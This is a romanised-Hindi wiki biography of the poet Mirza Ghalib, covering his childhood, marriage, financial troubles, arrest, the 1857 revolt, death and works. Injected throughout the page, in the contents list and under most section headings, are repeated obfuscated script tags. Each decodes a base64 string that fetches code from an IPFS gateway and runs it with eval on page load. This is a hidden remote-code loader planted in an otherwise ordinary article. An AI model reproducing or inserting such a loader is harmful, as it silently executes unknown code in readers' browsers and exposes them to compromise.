ग़ालिब

galib vishay soochi

galib   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bachapan evan shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nikah   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> prarambhik kavy   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arthik kathinaiyaan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> peanshan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> muqadama   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> agamir se mulaqat   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> giraftari   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aantim samay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mrityu   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vyaktitv   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daur   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rachanaean

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

galib
|200px|center
poora nam	mirza asadulla beg khan 'galib'
janm	27 disambar 1797
janm bhoomi	agara, uttar pradesh
mrityu	15 faravari, 1869
mrityu sthan	dilli
abhibhavak	abdulla beg galib
pati/patni	umarav begam
karm bhoomi	dilli
karm-kshetr	shayar
mukhy rachanaean	'divan-e-galib', 'urdoo-e-hindi', 'urdoo-e-mualla', 'nam-e-galib', 'latayaphe gaibi', 'duvapashe kaveyani' adi.
vishay	urdoo shayari
bhasha	urdoo aur farasi bhasha
sanbandhit lekh	galib ka daur
inhean bhi dekhean	kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

galib athava mirza asadulla beg khan (aangrezi: Ghalib athava Mirza Asadullah Baig Khan, urdoo: غالب athava مرزا اسدللا بےغ خان) (janm- 27 disambar, 1797 ee. agara; nidhan- 15 faravari, 1869 ee. dilli) jinhean sari duniya 'mirza galib' ke nam se janati hai. inako urdoo-farasi ka sarvakalik mahan shayar mana jata hai aur farasi kavita ke pravah ko hindustani jaban mean lokapriy karavane ka shrey bhi inako diya jata hai. galib ke likhe patr, jo us samay prakashit nahian hue the, ko bhi urdoo lekhan ka mahatvapoorn dastavez mana jata hai. galib ko bharat aur pakistan mean ek mahatvapoorn kavi ke roop mean jana jata hai. unhean dabir-ul-mulk aur nazm-ud-daula ka khitab mila. galib ajivan qarz mean doobe rahe, lekin inhoanne apani shano-shauqat mean kabhi kami nahian ane di. inake sat bachchoan mean se ek bhi jivit nahian raha. jis peanshan ke sahare inhean v inake ghar ko ek sahara prapt tha, vah bhi band kar di gee thi. galib navabi khanadan se talluk rakhate the aur mugal darabar mean uanche ohade par the. galib (asad) nam se likhane vale mirza mugal kal ke akhiri shasak bahadur shah zafar ke darabari kavi bhi rahe the. galib shiya musalaman the, par mazahab ki bhavanaoan mean bahut udar evan mitraparan svatantr cheta the. jo adami ek bar inase milata tha, use sada inase milane ki ichchha bani rahati thi. unhoanne apane bare mean svayan likha tha ki duniya mean yooan to bahut se achchhe kavi-shayar haian, lekin unaki shaili sabase nirali hai-

    “haian aur bhi duniya mean sukhanvar bahut achchhe
    kahate haian ki galib ka hai andaz-e bayaan aur”

parichay

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

galib urdoo-farasi ke prakhyat kavi tatha mahanh shayar the. inake dada 'mirza qauqan beg khaan' samarakand se bharat ae the. bad mean ve lahaur mean 'muinul mulk' ke yahaan naukar ke roop mean kary karane lage. mirza qauqan beg khaan ke b de bete 'abdulla beg khaan se mirza galib hue. abdulla beg khaan, navab asafuddaula ki fauj mean shamil hue aur phir haidarabad se hote hue alavar ke raja 'bakhtavar sianh' ke yahaan lag ge. lekin jab mirza galib mahaj 5 varsh ke the, tab ek l daee mean unake pita shahid ho ge.

bachapan evan shiksha

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chitr:Blockquote-open.gif arthik tangi ne kabhi bhi inaka pichha nahian chho da tha. qarz mean hamesha ghire rahe, lekin apani shano-shauqat mean kabhi kami nahian ane dete the. inake sat bachchoan mean se ek bhi jivit nahian raha. jis peanshan ke sahare inhean v inake ghar ko ek sahara prapt tha, vah bhi band kar di gee thi. chitr:Blockquote-close.gif

inaka palan poshan pita ki mrityu ke bad inake chacha ne hi inaka palan kiya tha, par shighr hi inaki bhi mrityu ho gee thi aur ye apani nanihal mean a ge. pita svayan ghar-jamaee ki tarah sada sasural mean rahe. vahian unaki santanoan ka bhi palan-poshan hua. nanihal khushahal tha. isalie galib ka bachapan adhikatar vahian par bita aur b de aram se bita. un logoan ke pas kafi jayadad thi. galib khud apane ek patr mean ‘mafidul khayayaq’ pres ke malik muanshi shivanarayan ko, jinake dada ke sath galib ke nana ki gahari dosti thi, likhate haian-
“hamari b di haveli vah hai, jo ab lakkhichand seth ne mol li hai. isi ke daravaze ki sangin barahadari par meri nashast thi.

nikah

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|right|250px|galib haveli jab asadulla khaan galib' sirf 13 varsh ke the, inaka vivah loharoo ke navab 'ahamadabakhsh khaan' (jinaki bahan se inake chacha ka byah hua tha) ke chhote bhaee 'mirza ilahibakhsh khaan ‘maroof’ ki beti 'umarav begam' ke sath 9 agast, 1810 ee. ko sampann hua tha. umarav begam 11 varsh ki thian. is tarah loharoo rajavansh se inaka sambandh aur dridh ho gaya. pahale bhi vah bich-bich mean dilli jate rahate the, par shadi ke 2-3 varsh bad to dilli ke hi ho ge. vah svayan ‘urdoo-e-moalla’ (inaka ek khat) mean is ghatana ka zikr karate hue likhate haian ki- "7 rajjab 1225 hijari ko mere vaste hukm dava mean habs sadir hua. ek be di (yani bivi) mere paanv mean dal di aur dilli shahar ko zindan muqarrar kiya aur mujhe is zindaan mean dal diya." galib ko shiksha dene ke bad mulla abdussamad unhian (galib) ke sath agara se dilli ge.

prambhik kavy

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|left|150px|mirza galib dilli mean sasur tatha unake pratishthit sathiyoan evan mitroan ke kavy prem ka in par achchha asar hua. ilahibakhsh khaan pavitr evan rahasyavadi prem se poorn kavy-rachana karate the. vah pavitr vicharoan ke adami the. unake yahaan soofiyoan tatha shayaroan ka jamaghat rahata tha. nishchay hi galib par in goshthiyoan ka achchha asar p da hoga. yahaan unhean tasavvuf (dharmavad, adhyatmavad) ka parichay mila hoga, aur dhire-dhire yah janmabhoomi agara mean bite bachapan tatha bad mean kishoravastha mean dilli mean bite dinoan ke bure prabhavoan se mukt hue hoange. dilli ane par bhi shuroo-shuroo mean to mirza ka vahi tarz raha, par bad mean vah sambhal ge. kaha jata hai ki manushy ki kritiyaan usake antar ka pratik hoti haian. manushy jaisa andar se hota hai, usi ke anukool vah apani abhivyakti kar pata hai. chahe kaisa hi bhramak parada ho, andar ki jhalak kuchh n kuchh parade se chhanakar a hi jati hai. inake prarambhik kavy ke kuchh namoone is prakar haian-

niyaze-ishq, khirmanasoz asababe-havis behatar.
jo ho javean nisare-barq mushte-kharo-khas behatar.

arthik kathinaiyaan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vivah ke bad ‘galib’ ki arthik kathinaiyaan badhati hi geean. agara, nanihal mean inake din aram v reesiyat se bitate the. dilli mean bhi kuchh dinoan tak rang raha. sadhe sat sau salana peanshan navab ahamadabakhsh khaan ke yahaan se milati thi. vah yoan bhi kuchh n kuchh dete rahate the. maan ke yahaan se bhi kabhi-kabhi kuchh a jata tha. alavar se bhi kuchh mil jata tha. is tarah maze mean guzarati thi. par shighr hi pasa palat gaya. 1822 ee. mean british sarakar evan alavar darabar ki svikriti se navab ahamadabakhsh khaan ne apani jayadad ka bantavara yoan kiya, ki unake bad firozapur jhurka ki gaddi par unake b de l dake shamsuddin ahamad khaan baithe tatha loharoo ki jagirean unake donoan chhote betoan aminuddin ahamad khaan aur ziyauddin ahamad khaan ko mile. shamsuddin ahamad khaan ki maan bahookhanam thian, aur any donoan ki begamajan. svabhavat: donoan auratoan mean pratidvandvita thi aur bhaiyoan ke bhi do giroh ban ge. apas mean inaki patati nahian thi.

galib ka daur

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|galib|left|150px galib ka daur (urdoo bhasha aur devanagari lipi mean)
mirza asad ullah khaan ‘galib’ 27 sitambar, 1797 ko paida hue. sitambar, 1796 mean ek fraansisi, parroan, jo apani qismat azamane hindustan aya tha, daulat rav siandhiya ki shahi fauj ka sipahasalar bana diya gaya. is haisiyat se vah hindustan ka gavarnar bhi tha. usane dilli ka muhasara karake use fatah kar liya aur apane ek kamaandar, le marashaan ko shahar ka gavarnar aur shah alak ka muhafij muqarrar kiya. usake bad usane agara par qabza kar liya.

muqadama

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|right|galib (chitrakar- em.eph. husain)|180px asaliyat yah thi ki nasarullabeg ki mrityu ke bad unaki jagir (soankh aur soansa) aangrezoan ne li thi. bad mean 25 hazar salana par ahamadabakhsh ko de di gee. 4 mee, 1806 ko l aaurd lek ne ahamadabakhsh khaan se milane vali 25 hazar varshik malaguzari is shart par maf kar di ki vah das hazar salana nasarullabeg khaan ke ashritoan ko de. par isake chand dinoan bad hi 7 joon, 1806 ko navab ahamadabakhsh khaan ne l aaurd lek se mil-milakar isamean gupachup parivartan kara liya tha ki, sirf 5 hazar salana hi nasarullabeg khaan ke ashritoan ko die jayean aur isamean khvaja haji bhi shamil rahega. is gupt parivartan evan sanshodhan ka jnan ‘galib’ ko nahian tha. isalie firozapur jhurka ke shasak par dava dayar kar diya ki unhoanne ek to adesh ke viruddh peanshan adhi kar di, phir us adhi mean bhi khvaja ji ko shamil kar liya.

agamir se mulaqat ki shart

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|left|180px|galib jab mirza ‘galib’ lakhanoo pahuanche to un dinoan gaziuddin haidar avadh ke badashah the. vah aisho-isharat mean doobe hue insan the. yadyapi unhean bhi shero-shayari se kuchh-n-kuchh dilachaspi thi. shasan ka kam mukhyat: nayab saltanat motamuddaula sayyad muhammad khaan dekhate the, jo lakhanoo ke itihas mean ‘aga mir’ ke nam se mashahoor haian. ab tak aga mir ki dyodhi muhalla lakhanoo mean jyoan ka tyoan qayam hai. us samay aga mir mean hi shasan ki sab shakti kendrit thi. vah safed syaha, jo chahate the karate the. yah adami shuroo mean ek 'khanasamaan' (rasoiya) ke roop mean naukar hua tha, kintu shighr hi navab aur rezideant ko aisa khush kar liya ki ve isake lie sab kuchh karane ko taiyar rahate the. unhian ki madad se vah is pad par pahuanch paya tha. bina usaki sahayata ke badashah tak pahuanch n ho sakati thi.

vyaktitv

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|180px|right|galib galib ka vyaktitv b da hi akarshak tha. eerani chehara, gora-lamba qad, sudaul ekahara badan, ooanchi nak, kapol ki haddi ubhari huee, chau da matha, ghani uthi palakoan ke bich jhaankate dirgh nayan, sansar ki kahani sunane ko utsuk lambe kan, apani sunane ko utsuk, manoan bol hi padeange. aise oth apani chuppi mean bhi bol p dane vale, budhape mean bhi phootati deh ki kanti jo ishara karati hai ki javani ke sauandary mean n jane kya nasha raha hoga. sundar gaur varn, samast zindadili ke sath jivit, isi duniya ke adami, iansan aur iansan ke gun-doshoan se lagaye-yah the mirza va miraza galib. ye reesazade the aur janm bhar apane ko vaisa hi samajhate rahe. isilie vastr vinyas ka b da dhyan rakhate the. jab ghar par hote, pray: pajama aur aangarakha pahinate the. sir par kamadani ki huee malamal ki gol topi lagate the. ja doan mean garm kap de ka kalidar pajama aur mirzee. bahar jate to aksar choo didar ya tang moh di ka pajama, kurta, sadari ya chapakan aur oopar qimati labada hota tha.

giraftari

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

san 1845 ke lagabhag agara se badalakar ek naya kotaval faijulahasan aya. isako kavy se koee anurag nahian tha. isilie galib par meharabani karane ki koee bat usake lie nahian ho sakati thi. phir vah ek sakht adami bhi tha. ate hi usane sakhti se jaanch karani shuroo ki. kee dostoan ne mirza ko chetavani bhi di ki jua band kar do, par vah lobh evan aanhakar se andhe ho rahe the. unhoanne isaki koee paravah nahian ki. vah samajhate the ki mere viruddh koee karravahi nahian ho sakati. ek din kotaval ne chhapa mara, aur log to pichhava de se nikal bhage par mirza pak d lie ge. mirza ki giraftari se poorv jauhari pak de ge the. par vah rupaya kharch karake bach ge the. muqadamean tak naubat nahian aee thi. mirza ke pas mean rupaya kahaan tha. haan, mitr the. [[chitr:Bahadur-Shah-II.jpg|thumb|left|bahadur shah zafar|180px]]

hindoo mitroan ki sahayata

1857 ke gadar ke anek chitr mirza 'galib' ke patroan mean tatha inaki pustak ‘dastanboo’ mean milate haian. is samay inaki manovritti asthir thi. yah nirnay nahian kar pate the ki kis paksh mean rahean. sochate the ki pata nahian ooant kis karavat baithe? isilie qile se bhi tho da sambandh banaye rakhate the. ‘dastanboo’ mean un ghatanaoan ka zikr hai jo gadar ke samay inake age guzari thian. udhar fasad shuroo hote hi mirza ki bivi ne unase bina poochhe apane sare zevar aur qimati kap de miyaan kale sahab ke makan par bhej die taki vahaan surakshit raheange. par bat ulati huee. kale sahab ka makan bhi luta aur usake sath hi galib ka saman bhi lut gaya. chooanki is samay raj musalamanoan ka tha, isilie aangrezoan ne dilli vijay ke bad un par vishesh dhyan diya aur unako khoob sataya. bahut se log pran-bhay se bhag ge. inamean mirza ke bhi anek mitr the. isilie gadar ke dinoan mean unaki halat bahut kharab ho gee. ghar se bahar bahut kam nikalate the. khane-pine ki bhi mushkil thi.

musalaman hooan par adha

yadyapi patiyala ke sipahi as-pas ke makanoan ki raksha mean tainat the, aur ek divar bana di gee thi. lekin 5 aktoobar ko (18 sitambar ko dilli par aangrezoan ka dubara se adhikar ho gaya tha) kuchh gore, sipahiyoan ke mana karane par bhi, divar phaandakar mirza ke muhalle mean a ge aur mirza ke ghar mean ghuse. unhoanne mal-asabab ko hath nahian lagaya, par mirza, arif ke do bachchoan aur chand logoan ko pak dakar le ge aur kutubuddin saudagar ki haveli mean karnal braun ke samane pesh kiya. unaki hasyapriyata aur ek mitr ki sifarish ne raksha ki. bat yah huee jab gore mirza ko giraftar karake le ge, to aangrez sarjent ne inaki anokhi saj-dhaj dekhakar poochha-‘kya tum musalaman ho?’ mirza ne hansakar javab diya ki, ‘musalaman to hooan par adha.’ vah inake javab se chakit hua. poochha-‘adha musalaman ho, kaise?’ mirza bole, ‘sahab, sharib pita hooan; hem (sooar) nahian khata.’

jab karnal ke samane pesh kie ge, to inhoanne maharani viktoriya se apane patr-vyavahar ki bat bataee aur apani vafadari ka vishvas dilaya. karnal ne poochha, ‘tum dilli ki l daee ke samay paha di par kyoan nahian aye, jahaan aangrezi fauzean aur unake madadagar jama ho rahe the?’ mirza ne kaha, ‘tilange daravaze se bahar adami ko nikalane nahian dete the. maian kyoan kar ata? agar koee fareb karake, koee bat karake nikal jata, jab paha di ke qarib goli ki reanj mean pahuanchata to pahare vala goli mar deta. yah bhi mana ki tilange bahar jane dete, gora paharedar bhi goli n marata par meri soorat dekhie aur mera hal maloom kijie. boodha hooan, paanv se apahij, kanoan se bahara, n l daee ke layaq, n mashvirat ke qabil. haan, dua karata hooan so vahaan bhi dua karata raha.’ karnal sahab hanse aur mirza ko unake naukaroan aur gharavaloan ke sath ghar jane ki ijazat de di.

galib aur peanshan

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thumb|mirza galib rekhachitr (skaich)|180px mirza to bach ge par inake bhaee mirza yoosuf itane bhagyashali n the. pahale hi zikr kiya ja chuka hai ki vah 30 sal ki ayu mean hi vikshipt (pagal) ho ge the aur galib ke makan se door, pharrashakhane ke qarib, ek doosare makan mean alag rahate the. jitani peanshan galib ko sarakari khazane se milati thi, utani hi mirza yoosuf ke lie bhi niyat thi. unaki bivi, bachche bhi sath-sath rahate the, par dilli par aangrezoan ka phir se adhikar hua to goroan ne chun-chunakar badala lena shuroo kiya. is beizzati aur atyachar se bachane ke lie yoosuf ki bivi bachchoan sahit inhean akele chho dakar jayapur chali gee thian. ghar par inake pas ek boodhi naukarani aur ek boodha daravan rah ge. mirza ko bhi soochana mili, kintu bebasi ke karan vah kuchh n kar sake. 30 sitambar ko jab galib ko apana daravaza band kie hue pandrah-solah din ho rahe the, unhean soochana mili ki sainik mirza yoosuf ke ghar aye aur sab kuchh le ge, lekin unhean aur boodhe naukaroan ko zinda chho d ge.

aantim samay

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[[chitr:Tomb-of-Mirza-Ghalib.jpg|thumb|mirza galib ka maqabara, dilli|left|180px]] mirza 'galib ka zindagi bhar karzadaroan se pind nahian chhoot saka. inake sat bachche bhi hue the, lekin jitane bhi hue sab mar ge. 'arif' (god liya hua beta) ko bete ki tarah ki pala, vah bhi mar gaya. parivarik jivan kabhi sukhi evan premamay nahian raha. manasik santulan ki kami se zamane ki shikayat hamesha rahi. isaka du:kh hi bana raha ki samaj ne kabhi hamari yogyata aur pratibha ki sachchi qadradani n ki. phir sharab jo kishoravastha mean muanh lagi thi, vah kabhi nahian chhooti. gadar ke zamane mean arth-kasht, usake bad peanshan ki bandi. jab inase kuchh phursat mili to ‘qata burahan’ ke hangame ne inake dil mean aisi uttejana paida ki ki bechain rakha. in lagatar musibatoan se inaka svasthy girata hi gaya. khana-pina bahut kam ho gaya. bahare ho ge. drishti-shakti bhi bahut kam ho gee. qabz ki shikayat pahale se hi thi.

mrityu

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mirza galib ki mrityu 15 faravari, 1869 ee. ko dopahar dhale huee thi. is din ek aisi pratibha ka ant ho gaya, jisane is desh mean farasi kavy ko uchchata pradan ki aur urdoo gady-pady ko parampara ki shriankhalaoan se mukt kar ek naye saanche mean dhala. thumb|right|150px|'divan-e-galib' ka avaran prishth

chitr:Blockquote-open.gif galib shiya musalaman the, par mazahab ki bhavanaoan mean bahut udar aur svatantr cheta the. inaki mrityu ke bad hi agara se prakashit hone vale patr ‘zakhira balagovind’ ke march, 1869 ke aank mean inaki mrityu par jo sampadakiy lekh chhapa tha aur jo shayad inake sambandh mean likha sabase purana aur pahala lekh hai, usase to ek nee bat maloom hoti hai ki yah bahut pahale chupachap ‘frimaisan’ ho ge the aur logoan ke bahut poochhane par bhi usaki gopaniyata ki ant tak raksha karate rahe. chitr:Blockquote-close.gif

mrityu ke bad inake mitroan mean is bat ko lekar matabhed hua ki shiya ya sunni, kis vidhi se inaka mritak sanskar ho. galib shiya the, isamean kisi ko sandeh ki guanjaish n thi, par navab ziyauddin aur mahamood khaan ne sunni vidhi se hi sab kriya-karm karaya aur jis loharoo khanadan ne 1847 ee. mean samachar patroan mean chhapavaya tha ki galib se hamara door ka sambandh hai, usi khanadan ke navab ziyauddin ne sampoorn mritak sanskar karavaya aur unake shav ko gaurav ke sath apane vansh ke qabristan (jo chausath khambha ke pas hai) mean apane chacha ke pas jagah di.

rachanaean

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

galib ne apani rachanaoan mean saral shabdoan ka prayog kiya hai. urdoo gady-lekhan ki nianv rakhane ke karan inhean vartaman urdoo gady ka janmadata bhi kaha jata hai. inaki any rachanaean 'latayaphe gaibi', 'durapashe kaveyani', 'namae galib', 'mehnim' adi gady mean haian. farasi ke kuliyat mean farasi kavitaoan ka sangrah haian. dastanb mean inhoanne 1857 ee. ke balave ka aankhoan dekha vivaran farasi gady mean likha haian. galib ne nimn rachanaean bhi ki haian-

1. 'urdoo-e-hindi'
2. 'urdoo-e-mualla'
3. 'nam-e-galib'
4. 'latayaphe gaibi'
5. 'duvapashe kaveyani' adi.

thumb|250px|mirza galib par jari googal-doodal inaki rachanaoan mean desh ki tatkalin samajik, rajanitik tatha arthik sthiti ka varnan hua hai. unaki khoobasoorat shayari ka sangrah 'divan-e-galib' ke roop mean 10 bhagoan mean prakashit hua hai. jisaka anek svadeshi tatha videshi bhashaoan mean anuvad ho chuka hai.

googal doodal (Google Doodle)

sher-o-shayari ki duniya ke badashah, urdoo evan farasi bhasha ke mahan shayar mirza galib ka 27 disambar, 2017 ko 220vaan janmadivas hai. is mauke par googal ne ek khas doodal banakar unako samarpit kiya. googool ke is doodal mean mirza hath mean pen aur kagaz ke sath dikh rahe haian aur unake baikagrauand mean bani imarat mugalakalin vastukala ke darshan kara rahi hai. googal ne apane bl aaug mean likha ki- "unake chhand mean udasi si dikhati hai jo unake uthal-puthal aur trasadi se bhari jiandagi se nikal kar aee hai, chahe vo kam umr mean anath hona ho, ya phir apane sat navajat bachchoan ko khona ya chahe bharat mean mugaloan ke hath se nikalati satta se rajaniti mean aee uthal-puthal ho. unhoanne vittiy kathinaee jheli aur unhean kabhi niyamit sailari nahian mili. in kathinaiyoan ke bavajood mirza galib ne apani paristhitiyoan ko vivek, buddhimatta, jivan ke prati prem se mo d diya. unaki urdoo kavita aur shayari ko unake jivan kal mean sarahana nahian mili, lekin aj unaki virasat ko kaphi saraha jata hai, visheshakar urdoo gazaloan mean unaki shreshthata ko.'

age jaean »

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

hindi path k diyaan	aangrezi path k diyaan	vidiyo k diyaan
